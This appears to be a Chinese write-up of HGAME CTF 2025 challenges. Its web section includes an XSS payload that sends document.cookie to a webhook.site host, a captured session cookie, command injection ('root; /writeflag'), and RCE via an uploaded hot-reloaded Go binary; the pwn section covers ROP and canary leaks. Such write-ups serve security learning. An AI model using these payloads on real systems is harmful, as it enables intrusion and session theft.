HGAME CTF 2025 Week1 + Week2 wp
HGAME CTF
MISC
Hakuya Want A Girl Friend
1 | def hex_to_bytes(hex_str): |
正着是个zip
倒过来是个png
改png:
To_f1nd_th3_QQ
hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}
我用winrar压不出来,只能用360压缩,还有这里的ag倒了
Level 314 线性走廊中的双生实体
pt文件本质上也是压缩包,打开可以看到源码:
1 | class MyModel(Module): |
直接访问security:
1 | import torch |
flag{s0_th1s_1s_r3al_s3cr3t}
Computer cleaner
hgame{y0u_
看日志
_c0mput3r!}
日志中的IP访问即可
hgame{y0u_hav3_cleaned_th3_c0mput3r!}
Computer cleaner plus
hgame{B4ck_D0_oR}
Level 729 易画行
根据给的网站和16进制慢慢找即可
WEB
Level 24 Pacman
游戏玩玩发现gift
分别Base64解出来不成样子,猜测栅栏加密过了,因为里面含有hagme,pacman等信息
Level 47 BandBomb
deepseek一把梭
1 | import requests |
Level 69 MysteryMessageBoard
1 | func main() { |
不能直接访问flag
爆破
1 | <script>location.href="https://webhook.site/5xxx420-4def-9884-50771b3e7b1b/"+document.cookie</script> |
1 | https://webhook.site/541f57b2-1420-4def-9884-50771b3e7b1b/session=MTc0MDIyOTgzMHxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fIijZBwSkcJs7ZWmGcolxQ8y5b8w2-erUTzZIGX02dxk |
但不知道为什么访问不了
最后写了脚本:
1 | import requests |
成功了
hgame{W0w_y0u_5r4_9o0d_4t_xss}
Level 38475 角落
dirsearch
app.conf:
1 | # Include by httpd.conf |
这里要利用RewriteRule和RewriteCond
1 | RewriteEngine On |
- 当用户访问
/admin/flag
时,若其 User-Agent 满足^L1nk/
(以 “L1nk/“ 开头),则触发重写。 - 最终请求会被转换为
/flag.html?secret=todo
,服务器返回此路径的内容。
因此可以
1 | http://node1.hgame.vidar.club:30383/admin/usr/local/apache2/app/app.py%3f |
访问/usr/local/apache2/app/app.py
不能直接/admin/usr/local/apache2/app/app.py,apache 的配置中明确禁止访问
/usr/local/apache2/app/app.py
即使伪造了 User-Agent,重写规则会将请求转换为:
1 /usr/local/apache2/app/app.py?.html?secret=todo此时会把?.html?secret=todo当成参数
如下
1 | from flask import Flask, request, render_template, render_template_string, redirect |
send:%7B%7B7*7%7D%7D
都不行
后来用了条件竞争
1 | import requests |
给了一个main,upx脱壳
发现:
1 | access_key:minio_admin |
Minio Client
下载:https://dl.min.io/client/mc/release/
使用:https://www.cnblogs.com/panw/p/16801534.html
添加云储存服务:
1 | /mc config host add minio http://node1.hgame.vidar.club:30133 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs= --api s3v4 |
查看储存内容:
1 | ./mc ls minio |
发现有hints文件夹,进去看看:
1 | ./mc ls minio/hints |
是源码,把它下载下来:
1 | ./mc cp minio/hints/src.zip ./src.zip |
源码:
1 | package main |
引用了overseer,说明程序是热加载的,文件变更会自动重启。重写一个main.go,加一个命令执行路由,update上去,就可以rce了。
1 | package main |
1 | go build -o update |
Level 21096 HoneyPot
漏洞点:
导入数据部分有个命令执行
1 | func ImportData(c *gin.Context) { |
填入密码时:root; /writeflag即可
然后访问/flag即可
RE
Compress dot new
Compress.nu中有Nushell代码
1 | def "into b" [] { |
这个函数的作用是将输入转换为字节数组的整数形式。例如,如果输入是二进制数据,每个字节会被转换为0-255的整数,并生成一个列表。比如字符串”abc”会被转换为[97,98,99]。
接下来是gss和gw这两个函数,gss函数匹配输入的结构,如果是{s:s, w:w}则返回[s],如果是{a:a, b:b, ss:ss, w:w}则返回ss。gw函数则是提取w字段。这可能是在构建哈夫曼树的过程中使用的,因为哈夫曼树的节点通常会有权重(w),而内部节点有左右子树,叶子节点有符号和权重。
接下来是oi函数,这是一个插入排序或者维护优先队列的函数?参数是v,输入是一个列表。如果列表为空,返回[v];否则,如果当前元素的权重小于头部的权重,就插入到前面,否则递归处理尾部。这可能用于维护一个优先队列,按权重从小到大排序,用于构建哈夫曼树。
h函数看起来是构建哈夫曼树的函数。它处理输入的列表,如果是空则返回空,如果只有一个节点则返回该节点,否则取出前两个节点(假设输入是按权重排序的),合并成一个内部节点,权重是两者的和,然后递归处理。这符合哈夫曼树的构建过程:每次取出两个最小的权重节点,合并成一个新节点,然后重新插入队列,直到只剩一个节点。
gc函数可能用于生成哈夫曼编码表。它定义了一个内部函数t,递归遍历哈夫曼树,并为每个叶子节点生成对应的二进制编码(0和1的字符串)。例如,左子树路径添加0,右子树添加1。最终返回每个符号s对应的编码cs。
sk函数可能是将哈夫曼树的结构序列化为JSON,以便在解压时重建哈夫曼树。
bf函数的作用是统计输入字节的频率。它先将输入转换为字节数组,然后统计每个字节出现的次数,返回一个包含{s: 字节值, w: 出现次数}的列表。这明显是哈夫曼编码前的频率统计步骤。
enc函数接受编码表cd,将输入转换为对应的二进制字符串。对于每个字节b,查找编码表中对应的cs,然后拼接所有二进制字符串,得到压缩后的比特流。
compress函数则是整个压缩流程:首先调用bf统计频率,然后构建哈夫曼树h,接着生成编码表gc,然后将输入数据用enc函数编码,并将树的结构和编码后的字符串拼接保存。
enc.txt:
enc.txt的内容分为两部分,第一部分是JSON结构,第二部分是二进制字符串。根据compress函数中的代码,输出的第一部分是($t | sk | to json –raw),也就是哈夫曼树的简化结构,第二部分是编码后的二进制字符串。所以enc.txt中的JSON部分对应哈夫曼树的结构,后面的长二进制字符串是压缩后的数据。
sk函数:当处理节点时,如果是叶子节点,就保留s属性;如果是内部节点,则递归处理a和b。(缺少权重信息)
如,JSON结构中的某个路径是a.a.a.a.a对应符号125,编码可能是00000。
分析
解析哈夫曼树结构
enc.txt中的JSON部分描述了哈夫曼树的节点结构。每个内部节点包含
a
和b
子节点,叶子节点包含s
(符号)字段。遍历该结构,生成每个符号对应的哈夫曼编码。构建哈夫曼编码表:递归遍历JSON树,记录每个符号的路径(
a
对应0,b
对应1),生成符号到二进制编码的映射。解码二进制字符串:使用编码表将enc.txt中的二进制字符串逐位匹配,转换为原始字节数据,最终得到flag。
1 | import json |
中间输出这些中间变量就能懂了
Turtle
看来得手动脱壳
看别人的wp发现了XVolkolak 0.22 静态脱壳神器汉化版 - 吾爱破解 - 52pojie.cn
这个工具,可以直接脱
F9到这再F8一下发现RSP变化
右键RSP跟随,下面面板下硬件断点
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
里面一些函数无法跟进,我不知道是不是脱壳脱得地方不在jmp的问题,可以试试看,不过也可以猜出来那些函数的作用
看着像rc4,v12是7,v8没用到过,可以猜他俩是一起的
加密
key
- 解析密钥加密过程
- 使用密钥
"yekyek"
初始化RC4的S盒,生成密钥流。 - 将预设的密文与密钥流异或,得到原始密钥。
- 使用密钥
- 解密Flag
- 使用上一步得到的正确密钥再次初始化RC4的S盒,生成40字节密钥流。
- 对v5数组中的密文逐字节加上密钥流的值(模256),得到原始flag。
再说详细点,看代码
1 | sub_401550(v11, v15, v4); |
v11生成v4,v4和我们输入的v9配合异或生成新的v4然后再到下面去
1 | sub_403058("%s", v6); |
生成新的s盒v4密钥流,再去做减法操作(sub_40175A和sub_40163E只是从异或变成减法的区别)
因为要逆向,所以写代码时用加法
1 | def ksa(key): |
就是两次rc4
Delta Erro0000ors [复现]
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
E…一开始找半天也不知道怎么跑
后来看了下汇编代码
这里有一块Seven..并没有被反编译没可能哪里出错了
跳到这,
直接把那块nop掉
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
参考Windows差异化补丁MSDelta之研究 | Ikoct的饮冰室
打补丁这个方法没理解,好像是大概hash被修改了,我们以补丁方式将其改成正确的hash?
看了官解才发现自己忽略了一个至关重要的地方,或者说根本没理解代码,下次注意
1
2
3 程序给了我们一次回填被修改的hash的机会
程序会拿增量之后的内容加密flag,比较密文。
只需要根据从内存中找到的内容,计算一下md5回填回去
我之前想动调找hash根本没有调到这里,自然不会找到hash
填入MD5后
为很么要找seven呢?
因为后面的异或逻辑我们知道key的前几个肯定是Seven,所以可以根据这个找
我觉得这题主要是动调吧,调了很久
1 | A = 'hgame{' + 'a'*36+ '}' |
尊嘟假嘟[复现]
jadx打开
在Toast发现check,DexCall发现加载了check和dex,GPT说这个类是漏洞点
声明 native 方法 copyDexFromAssets
,用于从 APK assets 中复制 DEX 文件到缓存目录。
利用 DexClassLoader
加载复制后的 DEX 文件,反射调用指定类和方法,并传入一个参数。
调用结束后删除 DEX 文件,防止残留。
这里其实方法有很多
frida hook loadDexFile通杀动态加载dex
修改smali,不让dex删除
分析so算法,进行解密
内存dump
到这留着,安卓还不太会,回头有空再搞
signin
下断点得到的key是错的,软件断点的原理是用一条软件断点指令替代断点地址所在位置的操作码字节
因为有反调试,能发现下面部分
qword_1400BB880即为delta,Dr寄存器是调试寄存器,储存硬件断点,也就是说delta为0时才是正常状态
多按几次d就行了
1 |
|
3fe4722c-1dbf-43b7-8659-c1c4a0e42e4d
PWN
counting petals
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
下面那个似乎有点怪,1的时候却是填在2中,看看能不能覆盖什么,调试下看吧
1 | printf("the flower number %d : ", (unsigned int)++v9); |
第一次输入2
输入3
这么看的话输入16能覆盖到0xf
但是发现直接覆盖会重复执行循环
发现如下
0xb00000010
B是v9,010是输入的16也就是v9和v8是在相近的地址上,不能直接覆盖
需要泄露PIE地址,canary的话那么看到ld发现我们可以输入一个大数被转化成16进制
如64424509455被转为0xe0000000f
那么就能多泄露几个(靠下面的+print出来)
Canary
0x5752a16272660200
我设置了:0x1100000011
1 | from pwn import * |
的确泄露了,那么问题来了如何执行呢我们的代码呢??rop根本无法执行,我们输入不了那么多
学到了,不要一味的写,先把问题考虑清楚再开始做
后来想到我们不用控制v9,我们只要输入比如1000,他后面就能溢出了(当然原来的方法仍然可用于泄露,但是执行就不适用了)
直接贴exp
1 | from pwn import * |
check防止溢出,
check_value
函数的作用是 绕过符号扩展问题,确保输入的地址值被漏洞程序正确解析为无符号的 64 位地址。+号是专门针对scanf,来跳过的。moectf好像有个差不多的学到的
libc_base = ret_addr - libc.sym[‘__libc_start_main’] - 128 + 176怎么来的?
调试无意间发现,差176
ezstack
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ |
可溢出
其实这题就是栈迁移+orw,但是对于新手来说这题不一样的就是通信方式和给了个Dockerfile,容易让人迷惑
我们执行以下命令:
1 | docker build -t pwn_vuln . |
即可
libc版本:
这题麻烦在调试上,不太会这样的调试,参考Linux 多进程程序调试实例(一) –GDB调试fork函数 - 王清河 - 博客园
format
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
注意这里是int v5而上面是uint类型。
只能输入三个字符,那我们直接%p泄露个栈地址
打印出0x7fffffffb430
如果后面要泄露什么操作的话,可以通过这个地址进行计算
进入到vuln函数
d540-b430=8464
vuln中没有相应gadgets,但是libc.so中有,要利用需要libc_base,所以得到rbp后我们不能直接去泄露,因为不知道libc_base,想想其他方法。而且我们没有%p来泄露
我们可以通过_libc_start_main来泄露libc_base,注意还有128这些跟counting petals差不多,128+29DC0 = 29E40
迁移前的栈:原Rbp是0x7ffca7f4c850
迁移完的栈:
1 | from pwn import * |
调试发现还需要栈平衡
CRYPTO
ezBag
DeepSeek速通
在线 SAGE 计算:SageMathCell
1 | # SageMath代码 |
1 | 17739748707559623655 |
1 | from Crypto.Cipher import AES |
hgame{A_S1mple_Modul@r_Subset_Sum_Problem}
sieve
GPT速通,提示词:题目是sieve,题目描述:两种不同孔径的筛子,才能筛干净。给我实际的解题代码,不要伪代码
1 | import sys |
FLAG = b’hgame{sieve_is_n0t_that_HArd}’